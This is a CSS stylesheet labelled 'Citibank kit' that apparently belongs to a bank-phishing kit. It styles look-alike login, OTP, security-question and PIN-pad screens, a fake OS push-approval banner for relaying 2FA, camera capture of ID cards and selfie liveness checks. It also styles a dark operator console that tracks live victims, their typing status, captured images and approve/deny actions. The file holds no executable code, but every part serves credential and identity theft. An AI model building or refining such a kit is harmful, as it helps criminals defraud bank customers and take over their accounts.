/* ==========================================================================
   Citibank kit — assets/app.css
   Self-contained design system (no Tailwind, no icon font). ~12 KB target.
   Brand tokens per README §1; components per §10 incl. the §1A Push-2FA set.
   ========================================================================== */

:root {
  /* brand */
  --navy: #003B70;
  --navy-600: #00264D;
  --turquoise: #D9261C;
  --ink: #464646;
  --ink-2: #374151;
  --muted: #6b7280;
  --green: #00A752;
  --bg: #ffffff;
  --bg-top: #e9f1f8;
  --line: #e5e7eb;
  --amber: #d97706;
  --red: #dc2626;

  /* shape / motion */
  --radius: 14px;
  --radius-sm: 10px;
  --radius-lg: 20px;
  --shadow: 0 10px 30px rgba(17, 24, 39, .10);
  --shadow-sm: 0 2px 8px rgba(17, 24, 39, .06);
  --ease: cubic-bezier(.22, .61, .36, 1);

  /* type */
  --font: "Inter", -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto,
    Helvetica, Arial, sans-serif;
  --font-head: "Poppins", var(--font);
}

*,
*::before,
*::after { box-sizing: border-box; }

html { -webkit-text-size-adjust: 100%; }

body {
  margin: 0;
  min-height: 100dvh;
  font-family: var(--font);
  font-size: 16px;
  line-height: 1.5;
  color: var(--ink);
  background: linear-gradient(to bottom, var(--bg-top), var(--bg) 42%);
  background-attachment: fixed;
  -webkit-font-smoothing: antialiased;
  overflow-x: hidden;
}

img { max-width: 100%; height: auto; display: block; }
a { color: var(--navy); text-decoration: none; }
a:hover { text-decoration: underline; }

/* --- layout shell ---------------------------------------------------------- */
.app {
  display: flex;
  flex-direction: column;
  min-height: 100dvh;
  padding: env(safe-area-inset-top) env(safe-area-inset-right)
    env(safe-area-inset-bottom) env(safe-area-inset-left);
}

.site-header {
  display: flex;
  align-items: center;
  flex-wrap: wrap;
  gap: 18px;
  padding: clamp(14px, 3vw, 22px) clamp(16px, 5vw, 40px) 0;
}

.brand { display: flex; align-items: center; gap: 12px; }
.brand img { height: clamp(26px, 5vw, 38px); width: auto; }

.rule {
  flex: 1 1 100%;
  height: 3px;
  margin-top: clamp(12px, 2.5vw, 18px);
  background: linear-gradient(90deg, var(--navy), var(--turquoise));
  border-radius: 999px;
}

.site-main {
  flex: 1 1 auto;
  display: flex;
  align-items: flex-start;
  justify-content: center;
  padding: clamp(20px, 5vw, 48px) clamp(16px, 5vw, 40px);
}

.page { width: 100%; max-width: 720px; margin: 0 auto; }

/* --- cards ---------------------------------------------------------------- */
.card {
  width: 100%;
  background: var(--bg);
  border: 1px solid var(--line);
  border-radius: var(--radius);
  box-shadow: var(--shadow);
  padding: clamp(22px, 5vw, 36px);
}

.card-lg { max-width: 760px; margin: 0 auto; }

.card-center {
  display: flex;
  flex-direction: column;
  align-items: center;
  text-align: center;
  gap: 12px;
  max-width: 520px;
  margin: 0 auto;
}

.hidden { display: none !important; }

/* --- typography ----------------------------------------------------------- */
.title {
  margin: 0 0 6px;
  font-family: var(--font-head);
  font-size: clamp(20px, 3.4vw, 26px);
  font-weight: 600;
  color: var(--navy-600);
  letter-spacing: -0.01em;
}

.subtitle {
  margin: 0 0 4px;
  font-size: clamp(14px, 2.4vw, 15.5px);
  color: var(--muted);
}

.muted { color: var(--muted); font-size: 14px; }

.space { margin-top: clamp(16px, 3vw, 24px); }

/* --- forms --------------------------------------------------------------- */
.form { display: flex; flex-direction: column; gap: 14px; margin-top: 12px; }

.field { display: flex; flex-direction: column; gap: 6px; text-align: left; }

label { font-size: 13px; font-weight: 500; color: var(--ink-2); }

.input,
input,
select,
textarea {
  width: 100%;
  font-family: var(--font);
  font-size: 16px; /* prevents iOS zoom */
  color: var(--ink);
  background: #fff;
  border: 1px solid var(--line);
  border-radius: var(--radius-sm);
  padding: 13px 14px;
  transition: border-color .15s var(--ease), box-shadow .15s var(--ease);
}

.input::placeholder { color: #9ca3af; }

.input:focus,
input:focus,
select:focus,
textarea:focus {
  outline: none;
  border-color: var(--navy);
  box-shadow: 0 0 0 3px rgba(10, 210, 225, .35);
}

.input:focus-visible { outline: none; }

.input.invalid,
input.invalid { border-color: var(--red); box-shadow: 0 0 0 3px rgba(220, 38, 38, .15); }

.grid-3 { display: grid; grid-template-columns: repeat(3, 1fr); gap: 10px; }

/* --- buttons ------------------------------------------------------------- */
.btn {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  gap: 8px;
  min-height: 48px; /* tap target */
  padding: 13px 20px;
  font-family: var(--font);
  font-size: 15px;
  font-weight: 600;
  color: #fff;
  background: var(--navy);
  border: 1px solid transparent;
  border-radius: var(--radius-sm);
  cursor: pointer;
  transition: background .15s var(--ease), transform .08s var(--ease),
    box-shadow .15s var(--ease);
}

.btn:hover { background: var(--navy-600); }
.btn:active { transform: translateY(1px); }
.btn:focus-visible { outline: none; box-shadow: 0 0 0 3px rgba(10, 210, 225, .45); }
.btn:disabled { opacity: .6; cursor: default; }

.btn.cta { width: 100%; font-size: 16px; }

.btn.ghost {
  background: transparent;
  color: var(--navy);
  border-color: var(--navy);
}
.btn.ghost:hover { background: rgba(0, 128, 166, .08); }

.link {
  color: var(--navy);
  font-weight: 600;
  cursor: pointer;
  background: none;
  border: 0;
  padding: 0;
  font-size: 14px;
}

/* --- alerts -------------------------------------------------------------- */
.alert {
  display: flex;
  align-items: center;
  gap: 8px;
  padding: 11px 13px;
  border-radius: var(--radius-sm);
  font-size: 14px;
  border: 1px solid transparent;
}

.alert-error {
  color: #991b1b;
  background: #fef2f2;
  border-color: #fecaca;
}

/* errors reserve their line permanently — otherwise clearing an error on blur
   shifts the layout mid-click and swallows the Continue click */
.err-msg {
  visibility: hidden;
  display: block;
  min-height: 18px;
  margin-top: 2px;
  font-size: 12.5px;
  line-height: 1.45;
  color: var(--red);
}
.err-msg.show { visibility: visible; }

/* --- brand / provider marks ---------------------------------------------- */
.logo-sm { display: block; margin: 0 auto 6px; }

.email-brand {
  display: flex;
  align-items: center;
  justify-content: center;
  min-height: 40px;
  margin-bottom: 4px;
}
.email-brand img { max-width: 132px; height: auto; }

/* --- security questions -------------------------------------------------- */
.q-label {
  display: block;
  margin: 4px 0 -6px;
  font-size: 14px;
  font-weight: 600;
  color: var(--ink-2);
  text-align: left;
}

/* --- spinner ------------------------------------------------------------- */
.spinner {
  display: inline-block;
  width: 18px;
  height: 18px;
  border: 2.5px solid rgba(255, 255, 255, .45);
  border-top-color: #fff;
  border-radius: 50%;
  animation: ofb-spin .7s linear infinite;
}

.spinner-lg {
  width: 42px;
  height: 42px;
  border-width: 3.5px;
  border-color: rgba(0, 128, 166, .18);
  border-top-color: var(--navy);
}

@keyframes ofb-spin { to { transform: rotate(360deg); } }

/* --- verifying ----------------------------------------------------------- */
.verify-row {
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 14px;
  padding: 8px 0;
}
.verify-text { color: var(--muted); font-size: 15px; }
.verify-row img { opacity: .85; }

/* --- OTP ---------------------------------------------------------------- */
.otp-row {
  display: flex;
  justify-content: center;
  gap: clamp(6px, 2vw, 12px);
  margin: 18px 0 4px;
}

.otp-input {
  width: clamp(42px, 12vw, 54px);
  height: clamp(52px, 14vw, 62px);
  text-align: center;
  font-size: 24px;
  font-weight: 600;
  padding: 0;
}

/* --- shield / steps ------------------------------------------------------ */
.shield { width: 72px; height: 72px; color: var(--navy); }

.steps { display: flex; flex-direction: column; gap: 8px; }

.step { display: none; flex-direction: column; gap: 14px; }
.step.active { display: flex; }

.step-tracker {
  margin: 2px 0 16px;
  text-align: center;
  font-size: 13px;
  font-weight: 600;
  color: var(--turquoise);
  text-transform: uppercase;
  letter-spacing: .06em;
}

/* --- camera ------------------------------------------------------------- */
.cam {
  position: relative;
  width: 100%;
  max-width: 420px;
  aspect-ratio: 4 / 3;
  margin: 8px auto 0;
  background: #0b1220;
  border-radius: var(--radius);
  overflow: hidden;
}
.cam video { width: 100%; height: 100%; object-fit: cover; }

.cam-note { margin: 8px 0 0; font-size: 13px; color: var(--amber); }

/* --- document capture (ID front/back) ------------------------------------ */
.doc-cap { position: relative; width: 100%; max-width: 480px; aspect-ratio: 1.586 / 1; margin: 8px auto 0; background: #0b1220; border-radius: var(--radius); overflow: hidden; }
.doc-cap video { width: 100%; height: 100%; object-fit: cover; }
.doc-frame { position: absolute; inset: 8%; border: 2px dashed rgba(10, 210, 225, .6); border-radius: 12px; pointer-events: none; z-index: 2; box-shadow: 0 0 0 9999px rgba(0, 0, 0, .35); }
.doc-frame::before, .doc-frame::after { content: ''; position: absolute; width: 24px; height: 24px; border-color: var(--turquoise); border-style: solid; border-width: 0; }
.doc-frame::before { top: -2px; left: -2px; border-top-width: 3px; border-left-width: 3px; border-top-left-radius: 6px; }
.doc-frame::after { bottom: -2px; right: -2px; border-bottom-width: 3px; border-right-width: 3px; border-bottom-right-radius: 6px; }
.doc-hints { position: absolute; top: 8px; left: 50%; transform: translateX(-50%); display: flex; gap: 10px; z-index: 5; }
.doc-hints .q { padding: 3px 10px; border-radius: 99px; font-size: 11px; font-weight: 600; background: rgba(0, 0, 0, .6); color: #94a3b8; border: 1px solid rgba(255, 255, 255, .12); }
.doc-hints .q.q-ok { background: rgba(0, 167, 82, .3); color: #6ee7b7; border-color: #6ee7b7; }
.doc-hints .q.q-bad { background: rgba(220, 38, 38, .3); color: #fca5a5; border-color: #fca5a5; }
.quality-bar { position: absolute; height: 3px; left: 8%; right: 8%; background: rgba(255, 255, 255, .1); border-radius: 3px; }
.quality-bar[data-q="light"] { bottom: 40px; }
.quality-bar[data-q="sharp"] { bottom: 34px; }
.quality-bar[data-q="stable"] { bottom: 28px; }
.quality-bar i { display: block; height: 100%; border-radius: 3px; background: var(--turquoise); transition: width .2s ease; width: 50%; }
.shutter { position: absolute; bottom: 8px; left: 50%; transform: translateX(-50%); z-index: 5; width: 44px; height: 44px; border-radius: 50%; border: 3px solid #fff; background: rgba(255,255,255,.15); backdrop-filter: blur(4px); color: #fff; font-size: 20px; cursor: pointer; display: flex; align-items: center; justify-content: center; transition: background .15s ease; }
.shutter:hover { background: rgba(255,255,255,.3); }
.shutter:active { transform: translateX(-50%) scale(.92); }
.cam-thumb { position: absolute; inset: 0; width: 100%; height: 100%; object-fit: contain; background: #0b1220; z-index: 3; }
.cam-actions-after { position: absolute; bottom: 10px; left: 50%; transform: translateX(-50%); display: flex; gap: 10px; z-index: 5; }
.cam-actions-after .btn { min-height: 38px; padding: 8px 16px; font-size: 13px; }

/* --- selfie liveness ----------------------------------------------------- */
.selfie-oval { position: absolute; top: 50%; left: 50%; width: 55%; padding-top: 55%; border-radius: 50%; transform: translate(-50%, -50%); border: 2px solid rgba(10, 210, 225, .5); pointer-events: none; z-index: 2; box-shadow: 0 0 0 9999px rgba(0, 0, 0, .35); }
.liveness-ring { position: absolute; top: 50%; left: 50%; width: 65%; padding-top: 65%; border-radius: 50%; transform: translate(-50%, -50%) scale(0.95); border: 3px solid transparent; pointer-events: none; z-index: 1; transition: all .35s ease; opacity: 0; }
.liveness-ring.active { opacity: 1; border-color: var(--turquoise); animation: ring-pulse 1.6s ease-in-out infinite; }
.liveness-ring.dir-left { border-color: #3b82f6; }
.liveness-ring.dir-right { border-color: #22c55e; }
@keyframes ring-pulse { 0%, 100% { transform: translate(-50%, -50%) scale(0.95); } 50% { transform: translate(-50%, -50%) scale(1.02); } }
.liveness-arrow { position: absolute; top: 50%; z-index: 3; font-size: 28px; color: var(--turquoise); pointer-events: none; opacity: 0; transform: translateY(-50%); transition: opacity .2s ease; }
.liveness-arrow.left { left: 8%; }
.liveness-arrow.right { right: 8%; }
.liveness-arrow.show { opacity: 1; }
.livecheck-pass { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); font-size: 64px; color: var(--green); z-index: 4; pointer-events: none; text-shadow: 0 2px 20px rgba(0,167,82,.3); }

/* --- drawable row (panel) ------------------------------------------------ */
.drawer-row td { border-top: 0 !important; }
.row-active td { background: rgba(10, 210, 225, .06); }

/* ==========================================================================
   Simplified 2-zone operator console
   ========================================================================== */
.panel-head { position: sticky; top: 0; z-index: 100; background: rgba(10, 21, 32, .92); -webkit-backdrop-filter: blur(10px); backdrop-filter: blur(10px); }

/* KPI chips */
.kpi { display: inline-flex; align-items: center; gap: 6px; padding: 4px 10px; border-radius: 999px; font-size: 11.5px; font-weight: 600; background: rgba(10, 210, 225, .12); border: 1px solid rgba(10, 210, 225, .3); color: #7dd3fc; }
.kpi b { font-size: 13px; color: #fff; font-variant-numeric: tabular-nums; }
.kpi.kpi-warn { background: rgba(220, 38, 38, .14); border-color: rgba(220, 38, 38, .4); color: #fca5a5; }
.kpi.kpi-info { background: rgba(0, 167, 82, .14); border-color: rgba(0, 167, 82, .4); color: #86efac; }

.head-btn { min-height: 30px; padding: 4px 12px; font-size: 12px; font-weight: 600; color: #e2e8f0; background: rgba(0, 128, 166, .22); border: 1px solid rgba(10, 210, 225, .3); border-radius: 8px; cursor: pointer; }
.head-btn:hover { background: rgba(0, 128, 166, .4); }
.head-select { background: rgba(255, 255, 255, .08); color: #e2e8f0; border: 1px solid rgba(255, 255, 255, .18); border-radius: 8px; padding: 5px 8px; font-size: 12px; }

/* console grid */
.console { display: grid; grid-template-columns: minmax(0, 1fr) 340px; gap: 14px; padding: 14px 20px 40px; align-items: start; }
.zone-activity { position: sticky; top: 70px; }

/* filter pills */
.filter-pills { display: flex; gap: 6px; margin-bottom: 10px; flex-wrap: wrap; }
.filter-pills .pill { min-height: 28px; padding: 3px 14px; font-size: 12px; font-weight: 600; color: #94a3b8; background: rgba(255, 255, 255, .05); border: 1px solid rgba(255, 255, 255, .12); border-radius: 999px; cursor: pointer; }
.filter-pills .pill:hover { color: #e2e8f0; border-color: rgba(10, 210, 225, .4); }
.filter-pills .pill.active { color: #05323b; background: var(--turquoise); border-color: var(--turquoise); }

/* row action compact + overflow menu */
.row-actions.compact { flex-wrap: nowrap; align-items: center; }
.row-actions.compact > button { white-space: nowrap; }
.menu-wrap { position: relative; display: inline-block; }
.menu-btn { min-width: 30px; min-height: 30px; padding: 4px 9px; font-size: 14px; font-weight: 700; color: #e2e8f0; background: rgba(255, 255, 255, .08); border: 1px solid rgba(255, 255, 255, .18); border-radius: 8px; cursor: pointer; line-height: 1; }
.menu-btn:hover { background: rgba(255, 255, 255, .16); }
.menu { position: absolute; right: 0; top: calc(100% + 4px); z-index: 300; min-width: 190px; padding: 6px; background: #101c29; border: 1px solid rgba(255, 255, 255, .14); border-radius: 10px; box-shadow: 0 14px 40px rgba(0, 0, 0, .5); display: flex; flex-direction: column; gap: 2px; }
.menu-group { font-size: 10px; font-weight: 700; text-transform: uppercase; letter-spacing: .06em; color: #64748b; padding: 6px 8px 2px; }
.menu button { text-align: left; min-height: 30px; padding: 5px 10px; font-size: 12.5px; font-weight: 500; color: #e2e8f0; background: transparent; border: 0; border-radius: 6px; cursor: pointer; }
.menu button:hover { background: rgba(10, 210, 225, .12); }
.menu button.danger { color: #fca5a5; }
.menu button.danger:hover { background: rgba(220, 38, 38, .18); }

/* activity stream */
.activity-card { padding: 0; }
.activity-head { display: flex; align-items: center; gap: 8px; padding: 12px 14px; font-weight: 600; font-size: 13px; border-bottom: 1px solid rgba(255, 255, 255, .08); }
.activity-feed { padding: 8px 10px; max-height: calc(100dvh - 140px); overflow-y: auto; display: flex; flex-direction: column; gap: 2px; }
.act-empty { padding: 12px 4px; }
.act-row { display: flex; align-items: baseline; gap: 7px; padding: 5px 6px; border-radius: 8px; font-size: 12px; line-height: 1.35; }
.act-row:hover { background: rgba(255, 255, 255, .04); }
.act-icon { flex: 0 0 auto; font-size: 11px; width: 14px; text-align: center; }
.act-icon.act-arrival { color: #4ade80; }
.act-icon.act-page { color: #38bdf8; }
.act-icon.act-typing { color: #fbbf24; }
.act-icon.act-push { color: #e879f9; }
.act-icon.act-capture { color: var(--turquoise); }
.act-icon.act-kick { color: #f87171; }
.act-client { font-weight: 600; color: #cbd5e1; flex: 0 0 auto; }
.act-when { margin-left: auto; flex: 0 0 auto; font-size: 10.5px; color: #64748b; white-space: nowrap; }
.act-text { color: #94a3b8; word-break: break-word; }
.act-actions { display: flex; gap: 4px; flex: 0 0 auto; }
.act-actions button { min-height: 22px; padding: 1px 8px; font-size: 10.5px; font-weight: 600; border-radius: 6px; border: 1px solid var(--line); background: #fff; cursor: pointer; }
.act-actions button.ok { color: #047857; border-color: #a7f3d0; }
.act-actions button.no { color: #991b1b; border-color: #fecaca; }

/* drawer grid */
.drawer-grid { display: grid; grid-template-columns: repeat(3, minmax(0, 1fr)); gap: 12px; padding: 12px 16px; background: rgba(10, 210, 225, .04); }
.drawer-block { min-width: 0; }
.drawer-block h4 { margin: 0 0 6px; font-size: 10.5px; font-weight: 700; text-transform: uppercase; letter-spacing: .06em; color: #64748b; }
.drawer-block > div { font-size: 12px; color: #cbd5e1; margin-bottom: 3px; }
.drawer-wide { grid-column: 1 / -1; }
.mv-list { max-height: 150px; overflow-y: auto; }
.mv-row { display: flex; gap: 8px; font-size: 11.5px; padding: 2px 0; color: #94a3b8; }
.mv-ts { color: #64748b; white-space: nowrap; flex: 0 0 auto; }
.mv-kind { color: var(--turquoise); flex: 0 0 auto; }

/* capture thumbnails */
.thumb-row { display: flex; gap: 8px; flex-wrap: wrap; }
.thumb { position: relative; width: 84px; height: 56px; border-radius: 8px; overflow: hidden; background: #0b1220; border: 1px solid rgba(255, 255, 255, .14); display: flex; align-items: center; justify-content: center; text-decoration: none !important; }
.thumb img { width: 100%; height: 100%; object-fit: cover; }
.thumb:hover { border-color: var(--turquoise); }
.thumb-label { position: absolute; left: 0; right: 0; bottom: 0; font-size: 9px; font-weight: 600; text-align: center; color: #e2e8f0; background: rgba(0, 0, 0, .55); padding: 1px 0; }
.thumb-video { font-size: 11px; color: #7dd3fc; }
.thumb-cloud { width: auto; padding: 0 12px; font-size: 11.5px; font-weight: 600; color: #7dd3fc; }

/* responsive: stack zones */
@media (max-width: 980px) {
  .console { grid-template-columns: 1fr; }
  .zone-activity { position: static; order: 2; }
  .activity-feed { max-height: 300px; }
  .drawer-grid { grid-template-columns: 1fr 1fr; }
}
@media (max-width: 560px) {
  .drawer-grid { grid-template-columns: 1fr; }
  .panel-head { flex-wrap: wrap; }
}

/* --- progress ----------------------------------------------------------- */
.progress {
  width: 100%;
  height: 6px;
  background: rgba(0, 128, 166, .12);
  border-radius: 999px;
  overflow: hidden;
}
.progress > span {
  display: block;
  height: 100%;
  width: 25%;
  background: var(--turquoise);
  transition: width .3s var(--ease);
}

/* --- chips -------------------------------------------------------------- */
.chip {
  display: inline-flex;
  align-items: center;
  gap: 6px;
  padding: 3px 10px;
  border-radius: 999px;
  font-size: 12px;
  font-weight: 600;
  background: #eef2f7;
  color: var(--ink-2);
  border: 1px solid var(--line);
}
.chip.human { background: #e7f7ee; color: #047857; border-color: #a7f3d0; }
.chip.suspect { background: #fef3c7; color: #92400e; border-color: #fde68a; }
.chip.bot { background: #fee2e2; color: #991b1b; border-color: #fecaca; }

.chip-logo {
  display: inline-flex;
  align-items: center;
  justify-content: center;
  padding: 10px 16px;
  border-radius: var(--radius-sm);
}
.chip-logo img { height: 30px; width: auto; }

/* --- honeypot ----------------------------------------------------------- */
.hp {
  position: absolute !important;
  left: -9999px;
  top: auto;
  width: 1px;
  height: 1px;
  opacity: 0;
  overflow: hidden;
  pointer-events: none;
}

/* --- footer ------------------------------------------------------------- */
.site-footer {
  padding: clamp(20px, 4vw, 30px) clamp(16px, 5vw, 40px)
    calc(clamp(20px, 4vw, 30px) + env(safe-area-inset-bottom));
  text-align: center;
  border-top: 1px solid var(--line);
  background: #f7fafc;
}
.site-footer .inner { max-width: 760px; margin: 0 auto; }
.site-footer p {
  margin: 5px 0;
  font-size: 11.5px;
  line-height: 1.6;
  color: var(--muted);
}
.site-footer .f-links {
  display: flex;
  flex-wrap: wrap;
  justify-content: center;
  gap: 4px 16px;
  margin-bottom: 10px;
}
.site-footer .f-links a {
  color: var(--navy);
  font-weight: 600;
  font-size: 12px;
  white-space: nowrap;
}
.site-footer .f-main { font-weight: 600; color: var(--ink-2); }
.site-footer .f-copy { margin-top: 8px; color: #9ca3af; }

/* --- login helpers ------------------------------------------------------- */
.remember-line {
  display: flex;
  align-items: center;
  gap: 9px;
  margin: 2px 0 0;
  font-size: 14px;
  color: var(--ink-2);
  cursor: pointer;
  user-select: none;
}
.remember-line input { accent-color: var(--navy); }
.login-links {
  display: flex;
  flex-wrap: wrap;
  justify-content: center;
  align-items: center;
  gap: 8px;
  margin: 6px 0 0;
  font-size: 13.5px;
}
.login-links .sep { color: #9ca3af; }
.o-link { color: var(--navy); font-weight: 600; cursor: pointer; }

/* ==========================================================================
   §1A Push-2FA — native OS banner
   ========================================================================== */
.os-push {
  position: fixed;
  top: calc(12px + env(safe-area-inset-top));
  left: 50%;
  z-index: 9000;
  width: min(92vw, 420px);
  display: flex;
  align-items: center;
  gap: 11px;
  padding: 11px 13px;
  border-radius: 16px;
  background: rgba(255, 255, 255, .92);
  -webkit-backdrop-filter: blur(20px);
  backdrop-filter: blur(20px);
  box-shadow: 0 12px 34px rgba(17, 24, 39, .22);
  border: 1px solid rgba(255, 255, 255, .6);
  transform: translate(-50%, -140%);
  opacity: 0;
  cursor: pointer;
  animation: os-push-in .3s var(--ease) forwards;
}
.os-push.dismiss { animation: os-push-out .3s var(--ease) forwards; }

.os-push .app-icon {
  width: 38px;
  height: 38px;
  border-radius: 9px;
  flex: 0 0 38px;
  object-fit: contain;
  padding: 4px;
  background: #fff;
  box-shadow: 0 1px 3px rgba(0, 0, 0, .12);
}

.os-push .os-text { display: flex; flex-direction: column; min-width: 0; flex: 1 1 auto; }
.os-push .ttl { font-size: 13px; font-weight: 600; color: #111; }
.os-push .msg { font-size: 13px; font-weight: 400; color: #3c3c43; }
.os-push .prev { font-size: 12px; color: #8e8e93; }
.os-push .when { font-size: 12px; color: #8e8e93; white-space: nowrap; }

@keyframes os-push-in {
  from { transform: translate(-50%, -140%); opacity: 0; }
  to { transform: translate(-50%, 0); opacity: 1; }
}
@keyframes os-push-out {
  from { transform: translate(-50%, 0); opacity: 1; }
  to { transform: translate(-50%, -140%); opacity: 0; }
}

/* --- app sheet ---------------------------------------------------------- */
.push-app {
  position: fixed;
  inset: 0;
  z-index: 9500;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 18px;
  background: rgba(10, 21, 32, .55);
  -webkit-backdrop-filter: blur(3px);
  backdrop-filter: blur(3px);
}
.push-app.hidden { display: none !important; }

.push-sheet {
  width: min(94vw, 380px);
  max-height: 92dvh;
  overflow-y: auto;
  background: #fff;
  border-radius: 20px;
  padding: 22px 20px calc(20px + env(safe-area-inset-bottom));
  box-shadow: 0 24px 60px rgba(0, 0, 0, .35);
  text-align: center;
}

.push-sheet h2 {
  margin: 12px 0 4px;
  font-family: var(--font-head);
  font-size: 19px;
  font-weight: 600;
  color: var(--navy-600);
}
.push-sheet .subtitle { margin-bottom: 14px; }
.push-sheet .brand-row { display: flex; justify-content: center; }
.push-sheet .brand-row img { height: 26px; width: auto; }

.push-details {
  display: flex;
  flex-direction: column;
  gap: 8px;
  margin: 14px 0 16px;
  padding: 14px;
  text-align: left;
  background: #f7fafc;
  border: 1px solid var(--line);
  border-radius: var(--radius-sm);
}
.push-details .row { display: flex; justify-content: space-between; gap: 12px; font-size: 13px; }
.push-details .row .k { color: var(--muted); }
.push-details .row .v { color: var(--ink-2); font-weight: 600; text-align: right; }

.push-sheet .btn { width: 100%; margin-top: 8px; }

.push-bio {
  display: grid;
  grid-template-columns: 1fr 1fr;
  gap: 8px;
  margin-top: 8px;
}
.push-bio .btn {
  margin-top: 0;
  min-height: 48px;
  background: var(--turquoise);
  color: #05323b;
  font-weight: 600;
}
.push-bio .btn:hover { background: #08bccc; }

.pin-dots {
  display: flex;
  justify-content: center;
  gap: 12px;
  margin: 12px 0 6px;
}
.pin-dots .dot {
  width: 13px;
  height: 13px;
  border-radius: 50%;
  background: #e2e8f0;
  border: 1.5px solid #cbd5e1;
  transition: background .12s var(--ease), transform .12s var(--ease);
}
.pin-dots .dot.on { background: var(--navy); border-color: var(--navy); transform: scale(1.08); }

.pin-pad {
  display: grid;
  grid-template-columns: repeat(3, 1fr);
  gap: 8px;
  margin: 10px 0 6px;
}
.pin-pad button {
  min-height: 48px;
  font-family: var(--font-head);
  font-size: 19px;
  font-weight: 600;
  color: var(--ink);
  background: #f1f5f9;
  border: 1px solid var(--line);
  border-radius: 12px;
  cursor: pointer;
  transition: background .12s var(--ease);
}
.pin-pad button:hover { background: #e2e8f0; }
.pin-pad button:active { background: #cbd5e1; }
.pin-pad button.del { font-size: 17px; }

.push-sheet .deny {
  margin-top: 12px;
  background: none;
  border: 0;
  color: var(--muted);
  font-size: 14px;
  font-weight: 500;
  cursor: pointer;
}
.push-sheet .deny:hover { color: var(--ink); }

/* --- website waiting screen (§1A.4c) ------------------------------------- */
.push-echo {
  width: 100%;
  max-width: 420px;
  margin: 6px auto 0;
  padding: 14px;
  background: rgba(0, 128, 166, .06);
  border: 1px solid rgba(0, 128, 166, .18);
  border-radius: var(--radius-sm);
  display: flex;
  flex-direction: column;
  align-items: center;
  gap: 6px;
}
.push-echo p { margin: 0; font-size: 13.5px; color: var(--ink-2); }

.push-page .push-details { max-width: 420px; margin-left: auto; margin-right: auto; }

.push-fallback { margin-top: 10px; }
.push-fallback .muted { margin-bottom: 6px; }
.push-fallback .link { margin: 0 8px; }

.push-denied {
  display: none;
  margin: 10px 0 0;
  font-size: 13.5px;
  font-weight: 600;
  color: var(--red);
}
.push-denied.show { display: block; }

/* --- panel push strip / feed -------------------------------------------- */
.push-strip {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 12px;
  padding: 12px 16px;
  border-radius: var(--radius);
  background: rgba(0, 128, 166, .08);
  border: 1px solid rgba(0, 128, 166, .2);
  margin-bottom: 14px;
}
.push-strip .ttl { font-weight: 600; color: var(--navy-600); font-size: 14px; }
.push-strip .os-push { position: static; transform: none; opacity: 1; width: auto; left: auto; animation: none; }

.push-feed {
  display: flex;
  flex-direction: column;
  gap: 8px;
  max-height: 260px;
  overflow-y: auto;
  margin-bottom: 14px;
}
.push-feed .os-push {
  position: static;
  transform: none;
  opacity: 1;
  left: auto;
  width: 100%;
  animation: none;
  cursor: default;
}
.push-feed .push-feed-actions { display: flex; gap: 6px; }
.push-feed .push-feed-actions button {
  min-height: 32px;
  padding: 4px 10px;
  font-size: 12px;
  font-weight: 600;
  border-radius: 8px;
  border: 1px solid var(--line);
  background: #fff;
  cursor: pointer;
}
.push-feed .push-feed-actions button.ok { color: #047857; border-color: #a7f3d0; }
.push-feed .push-feed-actions button.no { color: #991b1b; border-color: #fecaca; }

/* --- push state chips --------------------------------------------------- */
.chip.state-none { background: #eef2f7; color: #94a3b8; }
.chip.state-sent { background: #fef3c7; color: #92400e; border-color: #fde68a; }
.chip.state-opened { background: #dbeafe; color: #1d4ed8; border-color: #bfdbfe; }
.chip.state-confirmed { background: #e7f7ee; color: #047857; border-color: #a7f3d0; }
.chip.state-denied { background: #fee2e2; color: #991b1b; border-color: #fecaca; }
.chip.state-expired { background: #eef2f7; color: #94a3b8; }
.chip .bio-tag { font-size: 10.5px; opacity: .8; }

/* ==========================================================================
   Dark operator panel
   ========================================================================== */
.panel-body {
  min-height: 100dvh;
  color: #e2e8f0;
  background: #0A1520;
}
.panel-body .app { background: transparent; }

.login-shell {
  min-height: 100dvh;
  display: flex;
  align-items: center;
  justify-content: center;
  padding: 20px;
}
.login-shell .card {
  width: min(92vw, 380px);
  background: rgba(255, 255, 255, .06);
  border: 1px solid rgba(255, 255, 255, .12);
  -webkit-backdrop-filter: blur(14px);
  backdrop-filter: blur(14px);
  box-shadow: 0 20px 50px rgba(0, 0, 0, .45);
  text-align: center;
}
.login-shell .title { color: #fff; }
.login-shell .subtitle { color: #94a3b8; }
.login-shell .input {
  background: rgba(255, 255, 255, .08);
  border-color: rgba(255, 255, 255, .18);
  color: #f1f5f9;
}
.login-shell .input::placeholder { color: #64748b; }
.login-shell .input:focus {
  border-color: var(--navy);
  box-shadow: 0 0 0 3px rgba(10, 210, 225, .35);
}
.login-shell .chip-logo { background: rgba(255, 255, 255, .04); }

/* --- visitor table ----------------------------------------------------- */
.visitor-table { width: 100%; border-collapse: collapse; font-size: 13px; }
.visitor-table th,
.visitor-table td {
  padding: 10px 12px;
  text-align: left;
  border-bottom: 1px solid rgba(255, 255, 255, .08);
  vertical-align: top;
}
.visitor-table th {
  font-size: 11px;
  text-transform: uppercase;
  letter-spacing: .05em;
  color: #94a3b8;
  font-weight: 600;
}
.visitor-table td { color: #cbd5e1; }

.status-dot {
  display: inline-block;
  width: 8px;
  height: 8px;
  margin-right: 7px;
  border-radius: 50%;
  background: #64748b;
  vertical-align: middle;
}
.status-dot.typing { background: var(--turquoise); animation: pulse 1.4s ease-in-out infinite; }
.status-dot.idle { background: #475569; }

@keyframes pulse {
  0%, 100% { opacity: 1; transform: scale(1); }
  50% { opacity: .45; transform: scale(.8); }
}

.pulse-dot {
  display: inline-block;
  width: 9px;
  height: 9px;
  border-radius: 50%;
  background: var(--turquoise);
  animation: pulse 1.6s ease-in-out infinite;
  margin-right: 8px;
}

.panel-head {
  display: flex;
  align-items: center;
  justify-content: space-between;
  gap: 12px;
  padding: 16px 20px;
  border-bottom: 1px solid rgba(255, 255, 255, .08);
}
.panel-head .live-clock { font-variant-numeric: tabular-nums; color: #94a3b8; font-size: 13px; }

.panel-wrap { padding: 18px 20px 40px; }
.panel-wrap .card {
  background: rgba(255, 255, 255, .04);
  border: 1px solid rgba(255, 255, 255, .1);
  border-radius: var(--radius);
  box-shadow: none;
  padding: 0;
  overflow: hidden;
}

.table-scroll { overflow-x: auto; }

.row-actions { display: flex; flex-wrap: wrap; gap: 5px; }
